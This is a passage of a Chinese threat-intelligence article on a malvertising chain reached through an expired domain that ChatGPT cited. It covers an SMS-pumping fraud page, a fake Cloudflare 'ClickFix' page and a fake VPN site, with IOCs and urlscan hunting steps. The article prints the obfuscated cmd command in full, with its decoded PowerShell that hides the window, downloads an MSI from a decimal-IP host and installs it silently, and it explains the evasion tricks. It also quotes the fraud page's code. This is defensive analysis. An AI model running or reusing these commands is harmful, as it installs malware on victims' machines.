荷兰 | +31(97 号段,M2M) | 2 |
其他(埃及、缅甸、乌克兰、土耳其等) | — | 若干 |
号码全部为境外号码,集中在少数号段,每次请求随机抽取 29 个。这符合国际收入分成欺诈(IRSF,亦称 SMS Pumping)的号码池特征:号段持有方按终结到其号码的短信量从运营商处获得结算收入,再与引流方分成。对用户而言,每点一次发送就是 29 条国际短信,按国内常见的约 1 元/条国际短信资费估算,单次即二三十元,后续循环还会重复产生。
3.15 短信唤起逻辑
源码第 111 行:
// Prefetch phone+OS at page load so SMS can open synchronously on click (VIVO/UC fix)(function(){var pxhr = new XMLHttpRequest();pxhr.timeout = 6000;pxhr.open('GET', "makeTrackerChina.php?a=WEBSMS&...");pxhr.onload = function(){var d = JSON.parse(pxhr.response);if(d.phoneNumbers) prefetchPhone = d.phoneNumbers;if(d.os) prefetchOs = d.os;if(d.codeAF) af = d.codeAF;};pxhr.send();})();
浏览器只允许在用户手势的同步调用栈中跳转 sms: 等外部协议,vivo 自带浏览器、UC 等对此限制更严。若在点击后再发起 XHR、在回调中跳转,手势上下文已失效,跳转会被拦截。因此页面在加载时预取号码,点击时同步跳转。
sendXhr 与 onLoopAnswer 中的完整处理逻辑:
用户点击├─ 已预取号码:立即同步跳转 sms:<29 个号码>?body=...│ 同时发起 XHR 打点(trackStep++),从响应中更新 codeAF 与号码├─ 未预取号码:在 XHR 回调中跳转 sms:│ 服务端可通过 forceMessage 字段覆盖短信正文├─ XHR 出错 / 6 秒超时 / 解析失败:launchSms(),跳转 sms:?body=...(无收件人)└─ setTimeout(advance, 7000):无论结果如何,7 秒后推进流程
几个细节:
第 N 次点击发出的短信中,af 使用的是第 N-1 次 XHR 返回的 codeAF(如 LKgARkf → DogATvh → AwgATez),服务端可据此把同一用户的多条短信串联并逐条结算;
d.forceMessage || sms.replace('{af}', af)允许服务端在不修改页面的情况下替换短信内容;
prefetchOs === 'iphone'时改用 iOS 格式 sms://open?addresses=...&body=...,launchSms() 中另以 /iphone|ipad|ipod/i 匹配 UA 作为补充。
页面顶部还有一段针对国产浏览器的处理:
// Anti-dark-mode: neutralises UC Browser Night Mode / Android Force Dark(function(){functionforceLight(el){el.style.setProperty('filter', 'none', 'important');el.style.setProperty('-webkit-filter', 'none', 'important');el.style.setProperty('background-color','#ffffff','important');el.style.setProperty('color', '#000000','important');}var mo = new MutationObserver(function(muts){ muts.forEach(function(m){ forceLight(m.target); }); });mo.observe(document.documentElement, {attributes:true, attributeFilter:['style','class']});mo.observe(document.body, {attributes:true, attributeFilter:['style','class']});})();
UC 夜间模式与 Android Force Dark 通过修改 、 的样式或滤镜实现。该代码监听这两个节点的属性变化,一旦被修改即以 !important 恢复。CSS 中另有 color-scheme:light; forced-color-adjust:none 与 @media(prefers-color-scheme:dark) 的兜底规则,保证页面始终以设计的浅色样式呈现。
3.16 问答循环
第一条短信发出 5 秒后(nextStep() 中的 setTimeout(..., 5000)),页面切换到第二屏:

题库共 5 题,每题绑定一个“推荐应用”:
问题 | 选项 | 绑定应用 |
您想清理重复的照片和文件吗? | 想 / 不用·不确定 | 重复文件 |
您有足够的可用存储空间吗? | 有 / 没有·不确定 | 垃圾清理 |
您有足够的可用电量吗? | 有 / 没有·不确定 | 省电助手 |
您正在使用哪种网络连接? | WIFI / 3G/4G/5G | 网络分析 |
您的手机最近运行变慢了吗? | 是的 / 没有·不确定 | 内存清理 |

每选择一个答案都会再次唤起短信,正文为“所选答案是 {答案} {af}”一类模板,收件人仍为 29 个号码:

循环控制代码:
function onLoopAnswer(answer){setLoopLocked(true); // 锁定选项、跳过按钮与顶栏下载按钮showLoader();... // 唤起短信,逻辑同 3.15}function advanceLoop(){setTimeout(function(){...progPos = (progPos + 1) % 4; // avanza la barra (cicla al llegar al final)updateTopbar(topApp);renderLoopPanel();setLoopLocked(false);syncUrl(2);}, 5000);}

循环设计的要点:
每次作答后锁定按钮 5 秒,时长足够用户切换到短信应用、点击发送再返回。返回时页面已切换到下一题,形成进度推进的观感;
进度条 progPos = (progPos + 1) % 4,注释为西班牙语“推进进度条(到末尾后循环)”,进度永远不会完成;
题号对 42 个应用取模,题目对 5 道题取模,循环没有终止条件;
“跳过”按钮(onLoopSkip)只切换题目,不发短信、不换顶栏,用于降低用户对单个问题的抵触;
每一步通过 history.replaceState 将 dl_step、track_step、app_index 写入 URL,刷新后停留在当前步骤,且不新增历史记录,返回键无法回到前序步骤;
渲染函数外层有 try/catch,注释为 “silent crash guard — if render fails, force-unlock so user isn't stuck”,确保异常时用户仍可继续操作。

3.17 APK 下载
顶栏常驻“您的下载已就绪”按钮,点击后弹出说明窗口,第 3 步要求“系统提示时,请开启‘允许安装未知来源应用’权限”:


源码中与 APK 相关的数据有三组:appsData 定义了 44 个应用的名称、配色和图标;iterCycleApps 选取其中 42 个参与轮播;catalogUrls 由服务端从 apps_catalog.json 注入,共 43 个下载地址,全部位于 downloadmyappsnow.com。应用名称包括安全卫士、省电助手、垃圾清理、内存清理、隐藏应用、权限管理、剪贴板、设备信息等,多为需要较高权限的工具类应用。APK 本身未做分析。
点击“下载并安装”后实际下载 Battery_Saver.apk:

下载链接经 buildDlUrl() 改写为同源代理:
// Build a same-origin URL that routes an APK download through the rate-limited// ?dl= proxy at the top of this file.function buildDlUrl(apkUrl, idx) {var p = new URLSearchParams(window.location.search);p.set('dl', apkUrl);p.set('dl_step', '2');p.set('track_step', String(trackStep));p.set('app_index', String(idx));return window.location.pathname + '?' + p.toString();}
相关注释:
// DL button: route through the same-origin ?dl= proxy so the 4/day per-IP rate// limit and apk_downloads.log apply.
同一 IP 每日限下载 4 次并记录日志,既用于转化统计,也限制了批量获取样本。在等待短信发送的 5 秒内,顶栏下载按钮被设置为 pointer-events:none; opacity:.5,防止用户绕过短信直接下载。
另一次接口响应中出现了 forceRedirectURL,指向 megacontentzone.com/jwt_entry?jwt=...,JWT 载荷解码为:
{"phoneNumbers":["+79930357180","+32460257445","...共 29 个"],"af":"5002362398404401","dev":"android","type":"china","lang":"cn","loader":false,"cid":"676","pid":"2874"}号码池、归因 ID、设备类型等上下文可签名后交接给其他站点继续使用。当前页面 JS 并未处理 forceRedirectURL 和 urlContent 两个字段,说明同一后端接口同时服务于多套落地页模板。
3.18 开发痕迹与归属判断
类别 | 原文 | 说明 |
西班牙语注释 | avanza la barra (cicla al llegar al final)、Con 2 respuestas: barras completas + 1 barra、mantener la barra de progreso en sync、se muestra la última | 开发者母语为西班牙语 |
西班牙语占位符 | {respuesta} | 模板变量名意为“答案” |
其他模板 | Modal de instrucciones de descarga (misma UX que top_premium_apps_v2.php) | 存在其他带版本号的落地页模板 |
迭代记录 | removed in option A audit (2024)、same behaviour as the example landing | 有代码审查与样板页 |
遗留代码 | loopURL、confirm_txt、new_step、step 声明后未使用;sms4 未进入 _loopSmsPool | 继承自旧模板 |
前后端字段不一致 | 接口返回 urlContent、forceRedirectURL,本页未处理 | 一个后端对应多套前端 |
国家化拆分 | makeTrackerChina.php、type=china、o=CHINATELECOM | 存在其他国家与运营商版本 |
工程化注释 | “Centralised so we can't forget to hide it in any of the XHR exit paths”、“render first so buttons exist before unlock” | 经过线上问题修复的生产代码 |
综合判断,这是一套由西班牙语团队开发、面向多国本地化、按运营商定向投放、具备变现方式切换能力的商业化 WEBSMS 扣费程序,中国是其投放市场之一。
3.19 小结
livereport.com 本身不承载恶意内容,它的角色是流量入口:访客进入后经过两轮指纹采集和在线过滤,由广告网络按画像竞价,交付给出价最高且定向匹配的买家。ClickFix、短信扣费和假 VPN 是此次观察到的三个买家,三者之间未必存在关联。这一机制同时解释了“每次访问结果不同”和“安全扫描难以复现”两个现象。
分发层负责筛选和定价,落地层负责变现:前者通过两轮指纹和在线过滤保证交付的是真人流量,后者针对国产安卓浏览器做了专门适配,单次点击预填 29 个境外号码,并以无终止条件的问答循环放大扣费。两层由 visitor_id、af、codeAF 等标识串联,每一步都可归因结算。
下文分析首次从 ChatGPT 点击时遇到的 ClickFix 载荷,以及另一次访问落地的仿冒 VPN 站点。
四、手法二:仿冒 Cloudflare 验证与 ClickFix
4.1 页面行为
笔者第一次从 ChatGPT 回答中点击链接时,被带到了 6fp6hs.pulsarflowtech.lol。该站点使用随机子域名和低价 .lol 顶级域。页面仿冒 Cloudflare Turnstile 验证,包含 cloudflare.com 标识、“我不是机器人”复选框、“隐私·条款”链接以及伪造的 Ray ID。

勾选复选框后,页面调用全屏接口隐藏地址栏,并弹出“人工验证”窗口,同时在这次点击的用户手势内将恶意命令写入剪贴板:

弹窗要求的操作步骤为:
Win + R
输入 cmd 并回车
Ctrl + V
Enter
窗口中附带伪造的 Verification ID: 667348634142 与进度条。
该手法即 ClickFix(MITRE ATT&CK T1204.004 Malicious Copy and Paste)。命令由用户通过 explorer.exe → cmd.exe 手动执行,进程链中不存在浏览器父进程,基于“浏览器派生可疑子进程”的检测规则对其无效。与常见变种直接粘贴到“运行”对话框不同,本样本要求先打开 cmd 再粘贴,原因与下文的混淆方式有关。
4.2 混淆命令解析
剪贴板内容(截断):
cmd /v:on /q /c "set Code==sSpU@9+yPD,)O{WbFn?8i]lf-AtE5BcNu'C3$w}d2h;m6Zv1q/[Ir74kMo0(G.aLTR:exg\& set Text=.& (for %n in (3 58 38 68 53 1 42 68 23 23 5 25 31 5 19 ... 48 19) do set Text=!Text!!Code:~%n,1!) & set Text=!Text:@= !& set q=!CMDCMDLINE:~17,1!& call set Text=%Text:?=!q!%& call !Text:~1!"命令由四部分组成:
部分 | 代码 | 作用 |
执行环境 | cmd /v:on /q /c | /v:on 启用延迟变量扩展,使 !var! 在循环内实时求值;/q 关闭回显 |
字符表 | set Code==sSpU@9+yPD...exg\ | 72 个字符的码表,set Code== 使值以 = 开头 |
索引还原 | for %n in (...) do set Text=!Text!!Code:~%n,1! | 按索引逐字取码表字符拼接明文,如 3→p、58→o、38→w |
占位符替换 | !Text:@= !、!CMDCMDLINE:~17,1! | @ 替换为空格,? 替换为当前命令行第 18 个字符 |
最后一步的设计较少见。明文中所有双引号都以 ? 占位,运行时从 %CMDCMDLINE% 中取出。用户在 cmd 窗口中执行 cmd /v:on /q /c "..." 时,子进程的 CMDCMDLINE 形如 cmd /v:on /q /c "set Code...(cmd 拼接命令名与参数时会多出一个空格),第 18 个字符恰好是 "。这样处理有两个效果:
命令文本中不出现 powershell -c "..." 这类成对引号结构,减少静态特征;
解码结果依赖执行上下文。若在沙箱中直接执行或从脚本文件运行,CMDCMDLINE 第 18 位不是双引号,解出的命令无法正常执行。这也是页面要求“先输入 cmd 回车再粘贴”的原因。
按相同逻辑还原后的明文(为便于阅读做了换行,省略了 System.Runtime.InteropServices. 前缀):
powershell -c "$q=[char]34;$d='public static class N {[DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow();[DllImport("user32.dll")] public static extern IntPtr GetAncestor(IntPtr h, uint g);[DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr h, int n);}';Add-Type -TypeDefinition $d;$c=[N]::GetConsoleWindow();$r=[N]::GetAncestor($c,2);if($r -eq [IntPtr]::Zero){$r=$c};[void][N]::ShowWindow($r,0);iwr http://392073560/97078 -OutFile $env:TEMP\S.msi -UseBasicParsing;msiexec /i $env:TEMP\S.msi /qn MSIINSTALLPERUSER=1"
4.3 载荷行为
隐藏窗口。通过 Add-Type 动态编译 C类,P/Invoke 调用 GetConsoleWindow 获取控制台句柄,GetAncestor(hwnd, 2)(GA_ROOT)获取根窗口,ShowWindow(root, 0)(SW_HIDE)将其隐藏。多出的 GetAncestor 一步是为了兼容 Windows 11 默认的 Windows Terminal:此时控制台窗口只是伪窗口,必须隐藏其顶层宿主窗口才有效。用户侧看到的是窗口一闪而过。
十进制 IP。下载地址 http://392073560/97078 中的主机名是 IPv4 的整数表示:
392073560 = 23×256³ + 94×256² + 145×256 + 88 → 23.94.145.88浏览器、Invoke-WebRequest、curl 均能解析该格式,但依赖点分十进制匹配的 IOC 规则和代理日志告警会遗漏。
静默安装。msiexec /i ... /qn 无界面安装,MSIINSTALLPERUSER=1 指定按当前用户安装,配合安装包内的 ALLUSERS=2 等属性可在无管理员权限、不触发 UAC 的情况下完成安装。使用系统签名的 msiexec 执行,属于 T1218.007 代理执行。
样本信息:
项目 | 值 |
下载地址 | hxxp://392073560/97078(hxxp://23.94.145.88/97078) |
落地路径 | %TEMP%\S.msi |
SHA256 | c092d2a4b2beb0f66c919bd2a5a079e6f8125ad0d0ae66dbfd4178b735499150 |
该 MSI 的后续载荷本文未展开分析。ClickFix 投递链的常见最终载荷为信息窃取木马和远控木马,受影响主机应按凭据已泄露处置。
五、手法三:仿冒 VPN 下载站
另一次通过浏览器直接访问落地到 u.33ai.my:

页面标题为“安全屋VPN — 安全上网,科学上网,翻墙上网”,提供“下载 Windows 版(64 位)”按钮与“免费试用 3 天”宣传。页面中的用户评价混有中文与俄文,其中俄文评价称赞的产品名为 Safewoo,与页面上的“安全屋”不一致,可判断为从其他模板复制的虚假评价。翻墙类 VPN 是国内恶意软件投递的常见伪装,目标用户对下载未知来源可执行文件和忽略杀软告警的接受度较高。
六、ioc狩猎
单个事件的 IOC 时效很短,落地域名几天到几周就会更换,号码池每次请求都在轮换。相对稳定的是分发网络本身:同类入口无论内容如何变化,浏览器打开时都会请求同一批分发节点。本节以此为线索,在 urlscan 上反查与 livereport.com 同类的入口域名。
6.1 用 urlscan 反查同类入口域名
livereport.com 这类入口自身没有特征:首页只有 OK,内容随访客变化,直接按内容搜不到。但它们有一个共同点——浏览器打开时都会去请求同一批分发节点。urlscan 会记录每次扫描中页面发起的全部请求,因此可以反过来查:哪些站点在加载时请求了fhvfd.com、clickpathworks.com这类节点,这些站点就是与 livereport.com 同类的入口。
第一步:确定分发节点。从 3.1 节的跳转链中取入口之后的前两跳:
xml-v4.clickpathworks.com 入口后第一跳(流量交换)fhvfd.com 第一次指纹采集;其首页标题为 “Monetag”,即 PropellerAds 旗下的发布商广告平台
第二步:在 urlscan 中按请求域名检索。domain: 字段匹配的是扫描过程中出现过的任意请求域名,而不只是页面本身:
domain:fhvfd.comdomain:clickpathworks.com
第三步:区分“入口域名”和“最终页面”。返回结果中,task.url 是被扫描的入口地址,page.domain 是最终停留的页面。凡是 task.url 不属于分发网络、但请求了分发节点的,就是候选入口。
笔者在撰文时(2026-10-10)实测,domain:fhvfd.com 返回 43 条记录,domain:clickpathworks.com 返回 1144 条。以前者为例,部分结果如下:
扫描日期 | 入口(task.url) | 最终页面(page.domain) |
2026-10-02 | mta-sts.owa.charlotteheartandvascular.com | simcast.com(HeadlineLogic News Portal) |
2026-10-02 | mta-sts.www.danisitalianbistrosi.com | simcast.com |
2026-09-30 | v2.playchipwallet.com、console.freechipwallet.com | simcast.com |
2026-09-25 | ww25.promotionhire.co.uk | example.com |
2026-09-25 | m.barodaupbank.com | example.com |
2026-09-24 | inventory.coipang.com、gp.coipang.com、stg.coipang.com | example.com |
2026-09-23 | coinbase.fi、bi.coinbase.fi | example.com |
2026-09-14 | exodus.shein.cm | fhvfd.com |
2026-09-11 | ww38.royaleoffers.com、ww17.cllkclanding.suncoastconcretecoatings.site | example.com |
2026-09-20 ~ 30 | hugemoney510/578/612/637/674.pages.dev | example.com |
domain:clickpathworks.com 的入口中同样可以看到 natxis.com、sparkassekoelnbonn.com、servise-now.com、ouroring.com、revlutionehr.com、genesisheathclubs.com 等,以及 asrlearning.com、mandylandryphotography.com、everythinglubbock.biz 这类看起来曾是正常小站的域名。
第四步:归类。从命名可以把入口分成几类:
类型 | 示例 | 说明 |
过期 / 易主的正常站点 | asrlearning.com、mandylandryphotography.com、everythinglubbock.biz | 与 livereport.com 同类,历史上有真实内容,可能仍被搜索引擎、文档或 AI 引用 |
品牌仿冒(Typosquatting) | coipang.com(Coupang)、coinbase.fi、shein.cm、natxis.com(Natixis)、sparkassekoelnbonn.com、barodaupbank.com、servise-now.com、ouroring.com | 依靠用户输错网址获得流量 |
停放域名 | ww17.*、ww25.*、ww38.* 前缀 | 典型的域名停放平台子域名格式 |
泛解析子域名 | mta-sts.*、owa.*、accounts.*、admin.* | 域名开启了泛解析,任意子域名都会被接入,包括邮件策略、OWA 等本应不存在的子域 |
批量生成 | hugemoney*.pages.dev、<数字>-<数字>-<数字>.supopurytheals.com | 免费托管或批量注册的流量站 |
第五步:识别斗篷。注意“最终页面”一列:对 urlscan 这样的扫描器,分发网络并不返回真实落地页,而是把访客送到 example.com 或 simcast.com(一个名为 HeadlineLogic News Portal 的新闻门户)。这与 livereport.com 对 curl 只返回 OK 是同一种处理。因此,“入口请求了分发节点,最终却停在 example.com”本身就是一条高置信度特征,可以作为筛选条件:
domain:fhvfd.com AND page.domain:example.comdomain:fhvfd.com AND page.domain:simcast.com
第六步:复现与扩线。对候选入口用目标画像(中国大陆住宅 IP、安卓或 Windows、真实浏览器)复现,确认实际落地内容;复现过程中新出现的分发节点、跟踪域名,再作为下一轮 domain: 检索的种子。
需要说明两点:
urlscan 只能查到“有人扫描过”的站点。livereport.com 本身在 urlscan 中没有记录,说明还有大量同类入口尚未被扫描过。对自有的候选域名清单(例如 AI 回答、文档中引用的外部链接),可以通过 urlscan 的提交接口批量扫描后再检索;
fhvfd.com所属的广告网络同时服务大量正常发布商,被检索到的入口未必都投放恶意内容。判定依据应是实际复现到的落地页,而不是“接入了该网络”本身。
6.2 号码池
扣费号码集中在 +370、+7 993 / 969、+32 460、+31 97 等号段,每次请求从约 70 个号码中抽取 29 个。号码本身可作为运营商侧的拦截依据:
运营商可在国际短信出口对这些号段做频率监控,同一用户短时间内向几十个境外号码群发是明显异常;
将号码与 GSMA 及业内共享的 IRSF 高风险号段清单比对,可判断是否为已知的收入分成号段;
持续采集 makeTrackerChina.php 的返回,可以跟踪号码池的轮换情况。
七、IOC
入口与流量分发
www.livereport.comxml-v4.clickpathworks.comfhvfd.comwy903.commy.rtmark.net指纹 SDK:adex_tag_version=248_12_OF,client_id=1db9169f-90f4-4b2d-b517-bc47aab19c1fadex 异或密钥:7936zdyhub8iy9ajnkr4nm广告位:11265587、11861982
载荷一:短信扣费
track.cybersafezones.comwww.justverify.click(172.66.47.179)track.securzones.comredirzyn.comland.halumcaprice.comland.halumcaprice.com/makeTrackerChina.phpland.halumcaprice.com/steps.phpmegacontentzone.comd.kluxtwo.comdownloadmyappsnow.com(*.apk)Cloudflare Web Analytics siteToken:a4372536d8244d648171d1d351b58a4e联盟参数:af=5002362388287112、af=5002362398404401、clientId=676、productId=2874/2853/1752号码段:+370 6xxxxxxx、+7 993xxxxxxx、+7 969xxxxxxx、+32 460xxxxxx、+31 97xxxxxxxxx
载荷二:ClickFix
6fp6hs.pulsarflowtech.lolhxxp://392073560/97078(hxxp://23.94.145.88/97078)23.94.145.88%TEMP%\S.msiSHA256:c092d2a4b2beb0f66c919bd2a5a079e6f8125ad0d0ae66dbfd4178b735499150
载荷三:仿冒 VPN
u.33ai.my(64.204.26.240)结语
本次事件中,黑客没有利用任何大模型漏洞,只是控制了一个仍被大模型记住的旧域名。随着AI问答成为信息获取的主要入口之一,回答中引用的链接实质上是训练或检索时的历史快照,其当前状态无法由用户直接判断。对AI推荐的链接,应与陌生链接同等对待。
本文转载自微信公众号「huasec」,查看原文。版权归原作者所有,如有侵权请联系删除。